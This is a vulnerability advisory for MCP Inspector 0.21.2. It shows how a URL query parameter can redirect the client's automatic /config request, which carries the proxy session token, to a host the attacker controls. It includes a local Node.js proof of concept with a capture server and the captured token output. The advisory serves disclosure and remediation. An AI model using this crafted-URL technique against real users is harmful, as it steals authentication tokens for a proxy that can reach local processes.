MCP Inspector leaks proxy session token to query-controlled proxy origin
Description
MCP Inspector allows MCP_PROXY_FULL_ADDRESS to be supplied through URL query parameters. On page load, the client automatically sends a /config request to the configured proxy address and includes the configured proxy session token in the X-MCP-Proxy-Auth header.
As a result, an attacker who gets a user to open a crafted Inspector URL can cause the browser to send the user's MCP Inspector proxy session token to an attacker-controlled HTTP endpoint.
Details
The vulnerable source-to-sink chain is:
client/src/utils/configUtils.ts:95-118reads any key fromDEFAULT_INSPECTOR_CONFIGfrom the current URL query string.client/src/utils/configUtils.ts:157-159applies query overrides after stored persistent/session config, so URL parameters take precedence over saved config.client/src/lib/constants.ts:73-86defines bothMCP_PROXY_FULL_ADDRESSandMCP_PROXY_AUTH_TOKENas Inspector config keys.client/src/utils/configUtils.ts:15-27returnsconfig.MCP_PROXY_FULL_ADDRESS.valuedirectly as the proxy origin when it is non-empty.client/src/utils/configUtils.ts:45-55returns the configured proxy token and header name.client/src/App.tsx:700-730automatically sendsfetch(${getMCPProxyAddress(config)}/config, { headers }). WhenMCP_PROXY_AUTH_TOKENis set, the request includesX-MCP-Proxy-Auth: Bearer <token>.client/bin/start.js:15-27andclient/bin/start.js:286-289generate/open the UI with the proxy auth token prefilled by default.- The README documents automatic token prefill and query-configurable
MCP_PROXY_FULL_ADDRESSatREADME.md:179-190andREADME.md:368-374.
Server-side origin validation does not prevent this leak because the request is sent by the browser to the attacker-selected proxy origin, not to the legitimate MCP Inspector proxy. The legitimate proxy does protect its own routes with token auth and origin validation in server/src/index.ts:230-304 and server/src/index.ts:917-930.
Tested version:
- Package:
@modelcontextprotocol/inspector - Version:
0.21.2 - Commit:
f18775a1a5f3bd4b319763b4c12b3230091dd122 - Git describe:
0.21.2-hotfix-3-3-gf18775a1
PoC
The following safe local PoC models the vulnerable client configuration flow and starts a local capture server. It demonstrates that a query-controlled MCP_PROXY_FULL_ADDRESS receives the configured MCP_PROXY_AUTH_TOKEN in the X-MCP-Proxy-Auth header.
Run from a clean checkout:
node --input-type=module -e 'import http from "node:http"; const DEFAULT={MCP_PROXY_FULL_ADDRESS:{value:"",is_session_item:false},MCP_PROXY_AUTH_TOKEN:{value:"",is_session_item:true}}; const local={inspectorConfig_v1:JSON.stringify({MCP_PROXY_FULL_ADDRESS:{...DEFAULT.MCP_PROXY_FULL_ADDRESS,value:""}})}; const session={inspectorConfig_v1_ephemeral:JSON.stringify({MCP_PROXY_AUTH_TOKEN:{...DEFAULT.MCP_PROXY_AUTH_TOKEN,value:"poc-token-submit-confirm"}})}; const getOverrides=(href)=>{const url=new URL(href); const overrides={}; for(const key of Object.keys(DEFAULT)){const param=url.searchParams.get(key); if(param!==null) overrides[key]={...DEFAULT[key],value:param};} return overrides;}; const initialize=(href)=>({...DEFAULT,...JSON.parse(local.inspectorConfig_v1),...JSON.parse(session.inspectorConfig_v1_ephemeral),...getOverrides(href)}); const server=http.createServer((req,res)=>{console.log(`CAPTURE ${req.method} ${req.url}`); console.log(`CAPTURE x-mcp-proxy-auth=${req.headers["x-mcp-proxy-auth"] ?? "<none>"}`); res.setHeader("Access-Control-Allow-Origin","*"); res.setHeader("Access-Control-Allow-Headers","X-MCP-Proxy-Auth, Content-Type"); res.end("{}");}); await new Promise(r=>server.listen(0,"127.0.0.1",r)); const {port}=server.address(); const capture=`http://127.0.0.1:${port}`; const cfg=initialize(`http://localhost:6274/?MCP_PROXY_FULL_ADDRESS=${encodeURIComponent(capture)}`); const headers={}; if(cfg.MCP_PROXY_AUTH_TOKEN.value) headers["X-MCP-Proxy-Auth"]=`Bearer ${cfg.MCP_PROXY_AUTH_TOKEN.value}`; console.log(`merged_proxy=${cfg.MCP_PROXY_FULL_ADDRESS.value}`); console.log(`merged_token=${cfg.MCP_PROXY_AUTH_TOKEN.value}`); await fetch(`${cfg.MCP_PROXY_FULL_ADDRESS.value}/config`,{headers}); const cfgNoToken={...cfg,MCP_PROXY_AUTH_TOKEN:{...DEFAULT.MCP_PROXY_AUTH_TOKEN,value:""}}; const headersNoToken={}; if(cfgNoToken.MCP_PROXY_AUTH_TOKEN.value) headersNoToken["X-MCP-Proxy-Auth"]=`Bearer ${cfgNoToken.MCP_PROXY_AUTH_TOKEN.value}`; await fetch(`${cfgNoToken.MCP_PROXY_FULL_ADDRESS.value}/config`,{headers:headersNoToken}); server.close();'Observed output from verification:
merged_proxy=http://127.0.0.1:36177
merged_token=poc-token-submit-confirm
CAPTURE GET /config
CAPTURE x-mcp-proxy-auth=Bearer poc-token-submit-confirm
CAPTURE GET /config
CAPTURE x-mcp-proxy-auth=<none>Credits
- Thai Son Dinh from VinSOC Labs
The first request proves the token disclosure. The second request is a negative control showing that when no proxy token is configured, the same query-controlled proxy request is sent without X-MCP-Proxy-Auth.
A previous browser-level local proof also captured the same behavior:
BROWSER_CAPTURE GET /config x-mcp-proxy-auth=<none>
BROWSER_CAPTURE GET /config x-mcp-proxy-auth=Bearer browser-poc-token
BROWSER_RESULT token=Bearer browser-poc-tokenImpact
An attacker who can get a user to open a crafted MCP Inspector URL can receive the user's MCP Inspector proxy session token.
The token is the authentication secret for the MCP Inspector proxy. That proxy is security-sensitive because it can communicate with local MCP processes, make proxy requests, and, through intended Inspector functionality, spawn local MCP server commands when properly authenticated.
I did not confirm a default, one-click browser-only chain from token disclosure to arbitrary command execution because the legitimate proxy binds to localhost by default and validates the Origin header for protected routes. Therefore this report claims confirmed proxy session token disclosure rather than confirmed remote code execution.